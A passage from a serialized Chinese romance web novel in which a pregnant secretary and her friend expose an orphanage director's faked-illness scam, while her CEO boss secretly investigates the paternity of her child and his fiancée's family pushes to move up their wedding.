她也是被浅姨的事情气狠了,心情跌落谷底。 实在没有心情,一下口不择言。 说了自己怀孕倒没什么,毕竟张科研跟贺忱零接触。 但她的语气和态度,算不上好。 “不会。”张科研往旁边站了站,拉开两人的距离,“我来接我妈出院,他们还在等,我就不多说了。” 沈渺再次颔首。 两人在医院门口分道扬镳,一东一西。 沈渺回到住处,商音还在睡觉。 她带着商商玩儿到该吃午饭了,商音才爬起来。 商音一屁股坐到沙发上,头靠着沈渺的肩膀,伸手把沈渺怀里的商商揽过来。 “儿子,这么下去你会不会对你干妈比亲妈还要亲啊?” 商商在他怀里咿呀了两声,说着‘婴语’。 沈渺笑看她,“我带他再多,他也是会跟妈妈亲的。” “我可不是不让他跟你亲的意思,我恨不得他只认你不认我,这样以后你就在家里带孩子,我负责赚钱和吃喝玩乐。” 商音对商商的稀罕,仅限于商商听话的时候。 一旦商商开始捣乱,商音的耐心很快就会失去。 沈渺冷嗤了一声,重新把商商接过来,“快点去洗漱,马上吃午饭了。” 商商还是认妈妈的,被抱过来哼唧了两声。 可怜的小眼神眼巴巴看着商音,小手挥舞了下。 “先跟干妈玩,老妈去刷牙洗脸,等下带你吃饭饭哦~” 商音捏着嗓子柔柔地说完,起身去洗漱。 十分钟后,几个人移步到餐桌。 “昨晚遇上了一个豪气大哥,我就唱了首歌,给我打赏了一个大灰机。” 商音讲起昨晚直播的粉丝豪横画面。 她是才艺主播,唱歌好听,每天晚上唱一场推一下卖货,有时候再打打广告。 一个月收入好的时候能达到六位数。 “是吗?可惜了,我没看到。” 昨晚沈渺困得厉害,提前一步去睡了。 商音也就比她晚睡半个小时,收个尾居然还能收到这么大的礼物。 “改天那个粉丝再来,我告诉你。” 商音朝她眨眨眼,“不知道长得帅不帅,听声音是北方人,说话豪横。” 沈渺,“你在哪儿听到人家声音了?” “加了微信。”商音挠了挠头,“这大哥说是我忠实粉丝,在直播里要加我微信,我不好拒绝。” 她有一个专门的工作号,用来加粉丝的。 “你小心一些,别聊得太过火,别上头。” 商音这人看着精,其实又冲动又傻。 沈渺有些担心她被骗。 “放心吧,我心里有数,都是用官腔方式跟他们聊聊拉倒,过不了几天就不聊了。” 商音挥着手,一脸不在乎。 下午,两人带商商出去逛了一圈,晚饭前才回来。 晚餐桌上,沈渺憋了一下午,忍不住问商音,“你是不是背着我干什么事儿了?” 她这话一出,商音的手一哆嗦。 筷子掉落砸在碗上,清脆的瓷器碰撞声音蔓延开来。 “说吧,到底干什么了。” 沈渺双手抱臂,她面色渐渐严肃起来。 她是个藏不住事儿的人。 浅姨那事儿,她还没想好怎么跟商音说。 商音要是知道卷卷没生病,能拎刀去孤儿院‘宰了’浅姨。 每次她想藏事情,商音都能看出来。 可今天,商音非但没看出来,连卷卷生病,医药费的事情都不提了。 直觉告诉沈渺,商音比她还不对劲。 “我,我能有什么事情瞒着你。” 商音嘴硬,脸都快扎到饭碗里去了。 沈渺细眉一拧,一脸严肃,“快说,事情跟卷卷的病有关系吧?你是不是也查到了什么?” “我就是想说,卷卷的医药费你就别担心了,我有钱,你的钱留着养孩子就行了。” 商音放下筷子,老实交代了。 可她还没交代彻底。 沈渺又问,“你哪里来的钱。” 她对商音的存款了如指掌,就差不精确到元角分了。 二十万,她手里也就只有一半。 “我借的。” 商音支支吾吾半天,吐出三个字。 沈渺想到什么似的,笃定道,“该不会是管昨晚那个挺豪横的大哥借的吧?” “……”商音猛地朝她看过来。 那惊讶的眼神似乎在说:你怎么知道的? 沈渺眉头拧得更深了,“你管粉丝借钱?要是被曝光,你的名声就完了!” “那大哥人挺好的,北方人都豪爽,我跟他说了卷卷生病的事情,人家理解我也是走投无路了!” 商音知道这样做不好。 但她不想让沈渺为难,又做不到对卷卷见死不救。 “你已经把钱打给浅姨了?” 沈渺拿过手机,作势就要给浅姨打电话。 商音把她的动作摁下,“钱我昨天晚上就打过去了。” 昨天晚上她下播管大哥借了钱,立马就给浅姨打过去了。 她还叮嘱了浅姨,别再管沈渺要钱,告诉沈渺是她自己筹到钱了。 结果—— 沈渺眼前发黑,她有些摇摇欲坠,靠在椅背上缓了下。 昨晚商音就把钱打给浅姨了,可是浅姨今天早上还在跟她要钱! “没事的,再给我两个月我就把那钱还上了,你这儿还有点积蓄,留着生个孩子用,以后得我再赚……” 商音见她脸色苍白,走过来轻拍着她后背,“真不用担心,那大哥是好人。” “你现在赶快去把钱要回来,卷卷根本没有生病,浅姨在骗我们,她怕我们走了以后不再管孤儿院了。” 沈渺无奈的解释。 商音怔了几秒,眼睛大了小小了又大,猛地骂了句,“卧槽!” “我给了她三天的时间,让她把那些钱都还回来,让卷卷回学校上课,不然我就报警。” 沈渺有些着急,“所以卷卷生病的事情,根本不存在,你借钱的由头就是假的,要是被曝光就完了,快去把钱要回来还上!” 138.一波未平一波又起 商音铁青着脸,给浅姨打电话。 可电话没有人接。 沈渺跟着她打,半个小时打了不知多少通电话,一个接一个地打。 窗外下起瓢泼大雨,初夏的燥热被浇灭。 可沈渺的心里越愈发的惴惴不安。 她总有一种自己是温水煮青蛙里的青蛙的错觉。 总觉得水温在一点点加热,有股很深的危机感。 可是冷静下来,又觉得水温并不烫。 雨下的急又大,阻挡了她们想去孤儿院找浅姨的道路。 偌大的京北被瓢泼大雨笼罩。 雨水打在落地窗上,将男人的倒影一遍遍冲刷。 却怎么也冲刷不掉他身上那股低沉的气息。 深夜十一点,贺忱给林昭打了一通电话。 “让你查的事情,怎么样了。” 距离三天期限,只剩下明天一天了。 以往让林昭办事,他总会提前一天办好。 可这次—— 林昭今天躲了不知多少次,专门挑着有人在的时候来给贺忱送文件。 就怕跟贺忱单独相处。 谁知,躲不过贺忱打给他的电话。 “贺总,事情……有些复杂,比较棘手,毕竟是很久之前——” ‘啪’ 贺忱把电话挂了。 一股威压袭来,林昭吞了吞口水。 口水还没吞下去,手机又响一声,是贺忱发来的消息。 提醒他明天再没有结果,他就滚出公司。 林昭面如死灰,他开始提前演练,组织措辞,想出无数种明天贺忱的反应,他该怎么应对。 会不会像那晚,再拿一纸抚养协议书,去找沈渺? 可真的要乱套了…… 但是转而一想,他空口说这孩子是贺忱的,可又没有十足的证据。 万一沈渺不承认,或者孩子确实不是贺忱的,他岂不是又给添乱了? 临到跟前了,林昭才觉得自己为‘万一’做个准备。 他立刻命人去医院,调查沈渺所有产检资料,看有没有办法,确定这个孩子是贺忱的。 次日一早,一份详细病历档案电子版,被发到了林昭邮箱。 秦川给沈渺做羊水穿刺,做了两个报告。 一个是产检风险评估,一个是亲子鉴定。 他虽然只给了沈渺产检风险评估,可亲子鉴定的记录在电子档案中,是可以查到的。 林昭只看了一眼,眼前一黑。 这孩子,真的是贺忱的! 可沈渺怎么会做亲子鉴定?她难道还不知道孩子是谁的吗? 或者说,跟贺忱在一起的前后,沈渺有过别的男人? 林昭眼前又一黑! 他猜不透的事情,只能听天由命,交给贺忱自己想了! 雨停了,可天色阴沉沉的。 林昭如壮士赴死般,开车直奔百荣…… —— “何总,沈小姐这边有情况。” 与此同时,何之洲接到了医院的电话。 何之洲最近忙的底朝天,他阻止了沈渺被安排在秦川手下后,就没再过问过医院那边情况。 程家出面,医院不愿意得罪人,按照程唯怡的吩咐做了,夹在中间为难,开始装死。 可现在事情闹得有些大,怎么连贺家的势力都掺杂进来了? 所以院长立马给何之洲打电话,一五一十的说了。 “你个王八蛋,这么大事情不早点告诉我!” 何之洲一听说沈渺被安排到秦川手底下,还在不知情的情况下被做了亲子鉴定,破口大骂。 骂完了,依旧难消他心头的怒火。 “今年别再想让我给医院捐一分钱!” “何总,我……我实在是不敢得罪,我也不知道事情这么严重啊!” 院长看过了档案,吓得快尿裤子了。 谁知道一个秘书,能捅出这么大的篓子,竟然怀上了贺家继承人的孩子! “你把那档案发给谁了?”何之洲问。 院长忙说,“贺总的助理,林昭。” “那他妈贺忱的铁狗腿子,你要完了,贺家要是乱套了,你的医院就等着高楼变平地吧,你找死我可不拦着,但你要是敢把我供出来,我弄死你!” 何之洲最近还忙着相亲,他父母以死相逼让他务必在今年年底找到老婆结婚。 他起初以为老两口是想抱孙子了,后来听他们谈话才知道,又是贺忱的手笔。 他拿一块地做交易,只要年底他结了婚,贺忱就让那块地给九洲。 “何总,何总救救我!” 院长哀呼求救的声音,被冰冷的忙音打断。 何之洲把电话挂了。 他气得双手叉腰,站在办公室里来回踱步,却想不出办法。 要不要告诉沈渺,让沈渺跑? 他脑仁一阵痛,到底还是掏出手机,给沈渺拨了一通电话。 “沈渺,我有很重要很重要的事情要跟你说,见个面,怎么样?” 沈渺一晚没睡好,此刻正在去孤儿院的路上。 “我没时间,孤儿院那边有情况,我得过去看看。” 她声音疲倦,有气无力的。 闻言,何之洲立马说,“那我去孤儿院找你,不见不散!” 说罢,他挂了电话。 离开九洲之前,何之洲又发出一条消息去…… —— 沈渺跟商音都一晚上没怎么睡。 “你说,我要是给她两巴掌,我犯不犯法?” 商音坐在副驾。 她太焦躁了,沈渺怕她开车不稳妥,所以干脆自己开。 沈渺看她一眼,“重要的是先把钱要回来。” “我要完了打呢?”商音揉着手心,“我手心痒得厉害,不打她我难消心头之愤!” “那你打吧,做好了被抓,好几天见不到商商的准备。” 沈渺觉得,她们跟浅姨的关系因为这件事情,已经成冰了。 昨天她的话重,又是法院又是报警的,算是撕破脸了。 商音要真打了浅姨,浅姨一定不会顾念情面。 她本身就她们,没有情面。 “那就改天,我找个没有监控的地方,找个塑料袋把她头套上,让她看不到是我,然后狠狠地揍她一顿。” 商音对浅姨的不满,比沈渺还多。 因为她性子一直火爆。 “别冲动,先把钱要回来再说。” 沈渺脚底的油门又踩深了些。 她心底的不安,越来越浓。 总觉得,有什么大事要发生。 半小时后,孤儿院。 沈渺刚停好车,何之洲的车也停下来了。 139.你真是煞费苦心! “他来干什么?” 商音这人好面子,有外人在,她撒不了泼。 沈渺都没把何之洲那句‘不见不散’放在心上。 随着何之洲的出现,那四个字涌入她脑海。 她与商音说,“你等我几分钟。” “我先进去了。”商音等不及了,“反正你别让何之洲进来。” 不等沈渺回应,商音已经抬脚进入孤儿院里面。 沈渺不放心商音一个人去,她怕商音真动手。 “你有事吗?”她快速问何之洲。 何之洲的目光却是紧随着商音的身影。 “你们……看起来脸色都不是很好,是不是为了卷——” 沈渺打断他,“说你的事情,我着急。” 何之洲张了张嘴,到嗓子眼的话变成了,“那,你先去,我等等……哎,我,我…… 他吞吞吐吐的,话都连不成一句。 沈渺转身就走了,依稀听见房间里已经传来争执声。 好在商音还算有分寸,把浅姨拉到厨房,没当着孩子们的面。 沈渺推开门进去。 浅姨那震天响的嗓门,迎面而来。 “你们要干什么?逼死我吗?我这些年为了孤儿院容易吗?我就是好人没好报,让你们这么咄咄逼人,不就几十万块钱吗?要钱没有,要命一条,你们杀了我吧,杀了我啊!” 商音想过无数次,浅姨蛮横无理不肯把钱还回来的嘴脸。 可这般无耻让她始料未及。 “你他妈是人?我和沈渺欠你的是吧?这辈子你是不是要赖上我们了啊?我告诉你,今天你要不把钱还回来,我现在就带你去警局!” 商音下不去手,她薅着浅姨衣领,拽着浅姨往外走。 沈渺将门打开,让出位置。 浅姨个子小小的,很瘦,挣扎了半天抵不过商音力气大,被拽得潦倒着出了厨房。 “行啊,带我去警局,让这些孩子都死在屋子里好了!” 浅姨边挣扎边说,“你们忘恩负义,白眼狼!过河拆桥,忘了那时候我怎么把你们拉扯长大的……” “闭上你的乌鸦嘴,我们有的是办法安置孩子们。” 商音从口袋里掏出一团纸,直接塞到浅姨嘴里,堵上浅姨喋喋不休的话语。 浅姨的谩骂变成‘呸呸呸’。 沈渺跟在她们后面,她见商音气的脸色煞白,低声劝说,“先让她把昨天的二十万拿出来。” 当务之急,是让商音先把豪横大哥的钱给还了。 “她不给!”商音一想到浅姨理直气壮说‘没有’时,心头一万只草泥马奔腾而过。 沈渺看着一脸‘视死如归’,要钱没有要命一条的浅姨,气凝。 “那二十万是音音管粉丝借的,万一被有心人拿来说事,音音的前途都毁了。” 她拿下浅姨嘴上的纸团,“她赚不到钱,我养他们母子,但我们再也没有钱给你了。” 浅姨淬了两口,挣脱开上瘾的手,擦了把嘴。 “冠冕堂皇的话谁不会说?闹成这样你们以后肯定不会再掏钱!” 商音气得脑仁直突突,上前来就要动手。 沈渺拦住她,扭头看向浅姨,“我说过,你的行为是犯法的,如果我们报警,这钱你不给也会被强制拿出来,而且你还得坐牢,孰轻孰重你自己掂量。” 浅姨展平被扯乱的衣服,眼珠子提溜转。 “你们要告我,确定能告得动我背后的人吗?我可告诉你们,他是大人物,能帮我疏通医院关系,你们惹不起的!” 浅姨背后有人,沈渺早就猜到了。 她将先前给孤儿院捐款的为数不多的人都猜了一个遍。 但那几人都不具备让京北第一医院帮着演戏的能力。 “来,你说说,我听听是哪个孙子跟你狼狈为奸,干这种不是人的事儿!” 商音撸起袖子,双手叉腰,横眉冷眼地看着浅姨。 浅姨却是不敢说,“总之你惹不起,你们两个要是识趣就赶紧走吧。” “我呸!断子绝孙的玩意儿,老娘惹不起也……” 商音气性上来,出口成脏,骂得一句比一句脏。 不远处突然传来一道声音,“你们吵架就吵架,骂人干什么?” 这声音打断商音的骂声。 沈渺抬眸,循声望去。 却见何之洲脸色有些微妙,从车上下来,目光虚飘地往这边走。 “把她送警局去,都解决了,想那么多干什么?” 他出主意。 浅姨脸色微变。 商音松开叉着腰的手,再一次拉住浅姨。 她倒不是听何之洲的,只是在何之洲面前放不开,不好意思骂了。 她想带浅姨回房间,再给最后一次机会。 谁知,她刚碰到浅姨,浅姨就像脱缰野马似的,‘噌’一下蹿到了何之洲身后。 “就是他给我疏通的医院关系,他还给卷卷办了病房,整个医院都听他的……” “你,你别乱说,老巫婆!” 何之洲立马拉开跟浅姨的距离,时不时撇一眼沈渺的脸色。 沈渺定定看着他,清可见底的目光渐渐涌上来沉色。 “音音,你带浅姨回房间。” 她盯着何之洲,却是跟商音说话。 何之洲不会无缘无故卷进来。 而跟他能扯上关系的,便是沈渺。 这件事情,已经不再是她们跟浅姨之间的问题。 商音拽着浅姨就走。 不是去警局,浅姨不挣扎,她把何之洲供出来,何之洲看她的眼神都能杀人了。 她乖乖跟着商音就走了。 孤儿院的院落不大,周围空旷,空旷清新的空气,在一瞬间变得逼仄。 何之洲尤为感觉明显,他动了动僵硬的脖子,想解释。 却不知从何解释。 因为贺忱调查沈渺怀孕的事情,他慌了神,忘了这茬,否则怎么会送上门来…… “为了不让我离开京北,为了你还能亲眼见证这场戏,何之洲,你真是煞费苦心!” 沈渺怎能不知道,何之洲这么做的目的呢? 她心寒地看着何之洲。 “不是,这件事情我也是半路才插手!你听我解释……” 何之洲急急解释着。 浅姨虽然买通不了整个医院,但她买通了一个儿科医生。 可一个医生能力有限,他们原本的计划是按照白血病来治,化疗的钱要真交给医院。 浅姨只能落地做手术的钱。 孩子虽然不用化疗的药,但每天都要扎针,会很痛苦。 何之洲帮他们解决了给卷卷真扎针的问题,顺便还疏通其他部门,把检查报告弄得更逼真。 140.沈渺找了更厉害的靠山 主意不是何之洲出的。 但何之洲顺水推舟,圆满了漏洞百出的计划。 但就算如此,还是没瞒过沈渺。 何之洲其实没想到,沈渺会真的因为一个毫无血缘关系的小孩,掏空积蓄,真的留下来。 知道沈渺真的交了钱的那一刻,他的内心是复杂的。 现在事情败露,他的心情更加复杂了。 “对,对不起啊,我……” “何先生的道歉,我受不起,我只是个小人物,在你们有钱人眼里就是一个玩具,能给何先生带来一点乐子,是我的荣幸,接下来何先生要做什么、说什么,都不用管我的死活,只要你开心怎么都行。” 沈渺打断何之洲的话。 她穿着黑色长裙,身型依旧纤细,站在偌大的院子里,一阵风吹过长发散乱。 看似平静,但人都快碎了那般,化成无数的玻璃渣,全都刺入何之洲的心脏上。 何之洲脸色前所未有的正经,他呼吸一滞,那股痛意涌出温热的液体,像是把他心脏刺穿血流成河一样的难受。 他还想说些什么,却又无言以对。 沈渺转身朝屋内走去。 商音正跟浅姨僵持着,她手里拿着浅姨的手机,让浅姨把钱现在转回来。 “把二十万还给音音,以前的,我们不要了。” 沈渺把房门关了,反锁上,“不然我们三个就在这间屋子里耗着。” 她拉过一把椅子,坐在房间门口。 “凭什么不要以前的?”商音不乐意,“一分都不能少的全都给我退回来!” “没有!”浅姨眼睛一瞪,“一分都没有!” 看她这态度,商音又开始上头,“你这么自私无耻,哪里来的善心管孤儿院?我看你就是披着羊皮的狼,这些年我们给你打的钱,你不会都自己花了吧?” 不论她怎么说,浅姨都一声不吭。 平日里咋咋呼呼,最让浅姨头疼的,是商音。 今天,不知怎的,沈渺坐在椅子上一声不吭,却存在感极强。 浅姨每看她一眼,心都要沉上一沉…… —— 百荣顶层总裁办。 林昭站在贺忱办公桌前,心被提到嗓子眼。 贺忱正在看他调查的一堆文件资料,越看眉头皱得越深。 “我要的东西呢?” 他将资料翻到最后一页。 文件详细记录了沈渺怀孕那个月的一举一动,连她早上吃了什么都查到了。 唯独没有这个孩子是怎么怀上的。 不知情的,还以为沈渺的肚子是被空气干大的,身边连个男人的鬼影子都没出现过! “晚上她回到家里,实在是查不到。” 林昭面如死灰,“抱歉贺总,是我没用。” ‘啪’的一声。 贺忱将文件丢下,扯了扯领带,面色沉得能滴出水来。 等了三天,等来一句实在查不到。 “贺总,您要是真想知道,不妨把沈秘书喊过来问问。” 林昭试探性的提议。 贺忱一个刀子眼投来,“怎么问?” 问沈渺为什么怀孕了不说? 身为上司倒是可以这么问。 可他有资格问,这个孩子是谁的吗? “要,要不我去给您问问?” 林昭想不明白,贺忱又不知道他跟沈渺睡了那一晚。 他如今也快跟程唯怡结婚了。 何必非要弄清楚,沈渺肚子里的孩子,是谁的呢? “滚。” 贺忱薄唇轻启,吐出一个字。 林昭身形微动,却没走,又问,“您是让我滚出公司,还是滚出办公室?” “滚去问。” 贺忱眸色森冷,面色薄怒。 林昭扭头往外走,离开贺忱办公室后,他先掏出手机给何之洲回了个‘OK’。 虽不知何之洲怎么知道他们在调查沈渺怀孕事情的。 但在他进入贺忱办公室前,何之洲突然给他发来消息。 沈渺肚子里的孩子,果然是贺忱的。 这件事情捅破了,天都能漏。 何之洲放下身份,使出浑身解数,给林昭分析这事儿若让贺忱知道,百害而无一利。 林昭晓之以情动之以理。 也保自己命。 伴君如伴虎,贺忱的情绪直接影响到他。 走一步看一步。 回了何之洲消息后,他给沈渺打电话,但响了没几声,就被沈渺挂了。 他再打,沈渺又挂。 很快沈渺回了消息:抱歉,我在忙,你有事发消息。 沈渺不上班,在忙什么? 林昭派人查了下,将浅姨牵扯到的那一堆事儿,全查出来了。 他思来想去,又去了贺忱办公室一趟。 “现在沈秘书跟商小姐跟孤儿院院长僵着呢,要那笔钱。” 贺忱握着笔的手青筋凸起,他面色阴郁。 “这种事儿该怎么做,还要用我教?” 林昭迟疑片刻,二话不说扭头就走。 他想他懂了贺忱的意思。 但五分钟后,贺忱上了他的车,要跟他一起去孤儿院时。 林昭又不懂他什么意思了。 一路上,逼仄的车厢里气息一压再压。 贺忱坐在副驾驶,修长的双腿微敞屈膝,一抹阳光笼罩在他下颚处。 那双深邃锐利的眼眸在光线昏暗处,令人琢磨不透。 片刻,车在孤儿院门口停下。 林昭熄火下车,整理了下西装,回头看了眼贺忱。 贺忱没有下来的意思。 但他那双鹰隼般的眸,极具穿透性地凝着孤儿院。 林昭吞了吞口水,率先朝房子里走去。 隔着窗户,隐隐看清哪间屋子里有人,他朝哪间房子走去,敲门。 平日里,孤儿院不会有人来。 门内,沈渺正双手抱臂养精蓄锐,被敲门声惊了下。 “谁?”商音立马站起来,警惕的看着门口。 她担心是何之洲的人来,给浅姨撑腰的。 扭头看到浅姨一脸懵,她又将疑惑的目光投向沈渺。 沈渺站起来,隔着门窗往外看,看清楚是林昭时,她面色划过一抹惊讶。 什么事,让林昭找到孤儿院来找她? 她挪开椅子,将反锁的门打开。 “林助。” 林昭朝她颔首一笑,算是打过招呼,然后拎着公文包进门。 “沈秘书,贺总知道您有难,特意让我过来,这里是律师拟定的起诉文件,对方若拒不归还您和商小姐的钱,可以用法律的形式保护自己,孤儿院您也放心,贺总会安排好……” 白纸黑字,看不清的条款列了好几页。 浅姨只瞥了一眼,就一脸菜色了。 她背靠‘何之洲’,可何之洲根本不会保她。 但眼下,沈渺找了更厉害的靠山来啊! 141.沈渺,你是不是有事情瞒着我 浅姨此刻有多慌。 沈渺就有多凌乱。 她复杂的眼神看向林昭。 林昭面色平静,与她对视几秒,将文件交给她,“沈秘书,东西交给你了,贺总在外面等着,你尽快处理好出来。” 贺忱也来了? 沈渺眼皮突然跳了下,连带着她眼尾都细微抽着。 “知道了,谢谢。” 她下意识接过文件,道谢后目送林昭离开。 商音眼睛瞪得溜圆,目光落在林昭背影上,仿佛要把林昭盯出一个洞来。 “东西在这里,你自己看吧。” 沈渺把文件放在浅姨面前,“给你五分钟的时间思考。” 浅姨拿过文件翻看,确认文件的真实性。 全都是真的,而且这律师很专业,抠字眼将她的行为往更高的罪名上推。 五分钟后,沈渺跟商音从屋子里出来。 “你先拿这二十万,赶紧把粉丝的钱还了。” 沈渺交代着商音,“我去看贺忱找我干什么,你等我的时间办这事儿。” 浅姨先将二十万还了,其他的要等两天。 商音眼珠子提溜转,朝孤儿院门口的劳斯莱斯里看。 “贺忱找你干什么?他怎么知道咱们……不对,是你有难了?他帮你,什么意思啊?” 一连三个问题,沈渺只能答上来一个。 “调查浅浅生病的事情,我找了秦医生帮忙,秦医生能力不够,是他找的贺忱。” 但按理说,查完了浅浅生病,贺忱不应该再继续关注这件事。 沈渺抬手,捏了捏眉心,却捋不清脑袋里杂乱。 “你调职的事情迟迟没有下落,他不干正事儿管起闲事儿来了?” 商音嘀咕着,“他该不会是还不想让你走吧?” 沈渺跟她边往外走边沟通,“什么叫还不想?以前是事出有因,现在是还没想好我的去处。” 调职的事情来得突然,想把她调到一个长久发展的地方,要考虑很多因素。 这件事情墨迹,沈渺虽急但理解。 “那你去吧,有情况随时喊我。” 两人在孤儿院门口停了下,商音一步三回头地叮嘱。 像是沈渺上了贺忱的车,就下不来,连人带肚子里那个,都会被贺忱带走一样。 “去吧。”沈渺汲气,转身朝贺忱的车走过去。 上车之前,她又长长地舒一口气,然后才开车门。 车门被缓缓打开,与此同时,林昭在车上下来。 留给他们独处的空间。 这一幕,让沈渺想起贺忱带着结婚协议书来找她那天。 在她家楼下,也是在他的车上。 车门打开,男人坐在后座,薄唇以上被阴影笼罩,令人摸不透他眼底的情绪。 可那双具有穿透性的眼眸,直直落在沈渺脸上。 车门关上,逼仄的空间更为狭窄。 男人身上淡淡的沉香味袭来,一瞬将沈渺笼罩。 恍惚片刻,沈渺回过神,她已经在车内了。 顶灯开车,车厢里一片昏黄的灯光。 她缓缓回头,视线撞入贺忱那深潭般的眸子里。 “贺总,谢谢你啊,又因为这些小事麻烦你了。” “这算小事,那什么算大事。” 贺忱嗓音沉冷,带着几分质疑和探究。 几十万,她这几年来所有的积蓄,在她看来是小事? 那怀孕是大事吗? 他的不虞,迎面扑来。 不知道的,还以为浅姨拿走的是他的钱。 沈渺轻咬了下内唇,她犹豫了下说,“调职算大事,贺总考虑好了吗?” “你似乎很急着离开。” 贺忱凝着她,“而且,你有着非离开不可的态度。” 一片死寂。 他的话太直接果断,沈渺想否认都否认不了。 “因为没有必须留下的必要。” 她声音轻轻的,却很坚定,“贺总难道觉得,我给您和程小姐添的麻烦还不够?” 最近,程唯怡是消停了一些。 可暴风雨来临的前夕,是宁静的。 她就是程唯怡的眼中钉,程唯怡不拔是时候不到。 她不走,是不识趣。 沈渺的借口很多。 唯独没有怀孕这个理由。 贺忱至今还在怀疑,她真的怀孕了吗? 这个女人,藏得太深了。 这种明明不用藏着的事情,她藏起来,就是有鬼。 “沈渺,你是不是有事情瞒着我。” 他变相地敲打着她,“我眼里容不下沙子,你最好是老实交代。” 沈渺喉咙一紧,宛若堵了棉絮。 她定定看着他,清可见底的眸色,被他深沉的眼眸渲染上一抹慌乱。 “我……” 他是不是知道什么了? 沈渺做好了这一刻来临的准备,可真到了这一刻,她还是不可避免地慌了。 抚养权协议书,她给了孩子好的生活环境,她争不过他。 那晚他深夜敲她家门的情景,历历在目。 ‘咚咚咚’。 突然有人敲响了车玻璃。 令人齐齐朝窗外看去。 林昭面色焦急,他指了指他正在接通的电话。 贺忱将车窗落下一条缝隙。 “贺总,程夫人突发疾病住院了,明董和程小姐给您打了很多电话,都没打通。” 林昭此刻还在接明黎艳的电话。 明黎艳的声音透过话筒传来,“让他赶快来医院一趟!” “给秦川打电话,让他先过去看看。” 贺忱沉声吩咐着林昭。 林昭回应完了明黎艳,又立马去给秦川打电话。 这端,沈渺反应过来,打开车门下去。 她站在车外,朝贺忱颔首,“贺总,您忙,我就不打扰了。” 贺忱转过头,微眯起的长眸如注般盯着沈渺的身影。 沈渺身形笔直朝商音的车上走去。 商音在后视镜看到她过来,发动引擎准备带她走。 劳斯莱斯比他们先一步离开,消失在飞速离开的尾气中。 “不是,谈什么谈的这么不愉快,他都想把咱们甩下十万八千里了。” 商音问刚上车的沈渺。 沈渺系安全带,“程唯怡她妈生病住院了。” “那这是得着急。”商音咂咂嘴,“婚期在即,程唯怡她妈要是出事,怎么也得守孝三年吧,不过那么年轻,应该没事吧。” 沈渺摇头,“不知道,听说孙家那边有遗传病,具体情况不清楚。” 孙易琴娘家有遗传病这事儿,鲜为人知。 她是听明黎艳说的。 “那他找你干什么啊?”商音踩下油门问,“是不是调职的事情,有下文了?” 142.程家以此为借口,要把婚期提前! “没有。” 记不清楚这是商音第多少次问了。 但沈渺的回答,都如出一辙是这两个字。 商音‘哦’了一声,虽然心头感慨但习以为常。 怎么说呢,她觉得沈渺离开这事儿,就像唐曾西天取经。 经历九九八十一难,最后了还得再让老王八坑一下。 但一关又一关,总有闯完的时候。 说不准,明天就有信儿,后天就走了。 “你把钱还了吗?”沈渺不再想贺忱。 那男人,她从始至终都没有看透过。 商音表情有些微妙,“我把钱给他转过去了,他没收,说想请我吃饭。” 沈渺拧眉,“意思是,要见面?” “是。”商音也头疼,可她尽量往好的地方想,“他这么轻易借给我钱,也不怕我是骗子,说话挺爽快的,可能就只是想见面而已。” 沈渺,“你答应了?” 商音摇头,“我说最近很忙没时间,他说等我不忙了。” 具体见面的时间,还没定,但是对方不收钱,这个面就得见。 “想办法把钱给他,尽量别见面。” 沈渺不想让商音冒险。 商音点头,“嗯,我知道,浅姨这边我盯着,我们两个闯荡江湖这么多年,没被社会上的人毒打,被浅姨坑了一把,算是阴沟里翻船了。” 她对浅姨算是彻底失望了。 想暴打浅姨那一顿,其实不完全为钱。 钱虽然重要,但卷卷更重要。 被告知得了白血病,在医院里每天扎针,被剪了头发…… 这会给她内心留下阴影的。 昨晚两人几乎一夜没睡,回到家里,商商闹着找商音。 商音补觉的计划泡汤,她抱着商商在客厅里玩,让沈渺回屋休息。 沈渺毕竟是孕妇。 月份渐大,沈渺感觉身体笨重了些,而且很疲倦。 她足足睡了一下午。 天快黑了时,她悠悠转醒。 手机上,有贺懿发来的消息。 【受不了了,渺渺,我要跟你吐槽,程唯怡她妈住院,程家以此为借口,要把婚期提前!】 【她妈那是隐性遗传病,要不了命,可有的活呢,为了赶快跟我哥结婚,程唯怡真是无所不用其极。】 沈渺坐起来,拢了拢长发,看着手机上的消息,大脑宕机。 —— 医院。 明黎艳在病房陪着孙易琴。 贺忱跟程唯怡在外面。 男人站在吸烟区吸着烟,收拢的眉骨皱成一个‘川’字。 缭绕的烟雾氤氲在他面庞,一脸的高深莫测。 “贺忱哥,我妈唯一的心愿,就是希望我早点结婚。” 程唯怡声音带着哭腔,“我不想让她留遗憾。” 贺忱将烟从薄唇上拿下来,缓缓回头。 “秦川说,阿姨不会有生命危险。” “秦川是妇产科大夫,他说了不算。” 提到秦川,程唯怡的手紧紧握着。 贺忱提醒道,“秦川双修医学,而且阿姨就算有问题,也足以撑得到我们结婚那天。” 婚期已经定了,日子一天天过去,婚期是越来越近的。 可程唯怡的危机感,是越来越浓的。 她失去了随时随地去百荣找贺忱的特权。 已经很久没有跟贺忱好好的见面,聊天,吃饭了。 筹办婚宴他不管,婚纱礼服他也让她自己处理。 他若是工作忙,她怎么也要忍一忍。 可,他有空管沈渺。 “如果我想提前结呢?” 贺忱,“那你就想想。” 程唯怡:“……” 男人掐灭烟,丢掉眼底,挥手散了散眼前的雾气。 “不必太过担心,回去吧。” 他看到程唯怡的眼睛哭红了,安慰了一句。 说完,他朝电梯走去。 程唯怡紧咬着嘴唇,看着他进入电梯离开。 她只能转身回病房。 孙易琴坐在病床上,面色红润。 她正将一条红色的朱砂手串拿给明黎艳看。 “前些日我上山,为孩子们结婚的事情祈福,大师说有些不顺,让我买这个珠串压一压,可是……婚事能提前就提前,省得我这心里老不踏实。” 明黎艳看了眼那珠串,“多少钱买的?” “两万二。”孙易琴伸出两根手指头。 “以后这种白挨坑的事儿,少干。”明黎艳一听,脸都黑了。 孙易琴,“黎艳,我这人就是疑心病重,那大师一说我就害怕,你说订婚宴闹出乱子,结婚……不会出事吧?” 她不提订婚宴还好,提了明黎艳的脸更黑了。 那事儿,还不是怪程唯怡自己? “哎呀行了,贺忱答应的事情,什么时候变卦过?婚期都定了,你别折腾了,以后再闹这出,我可不给你圆场。” 明黎艳说完,看到程唯怡进来,她站起来。 “好好照顾你妈,贺忱忙,别总为这种事情折腾他了,你对婚礼有什么想法可以跟我说,我没空的时候让小懿陪着你去。” 程唯怡垂下眼帘,面色难掩失落。 贺懿不喜欢她,明黎艳又不是不知道。 “你跟贺忱都要结婚了,以后是贺懿的大嫂,多跟贺懿走动走动,别让外人看了笑话。” 明黎艳这是让程唯怡主动跟贺懿示好,去搞好关系。 “只要贺懿好沟通,唯怡这儿什么都行。” 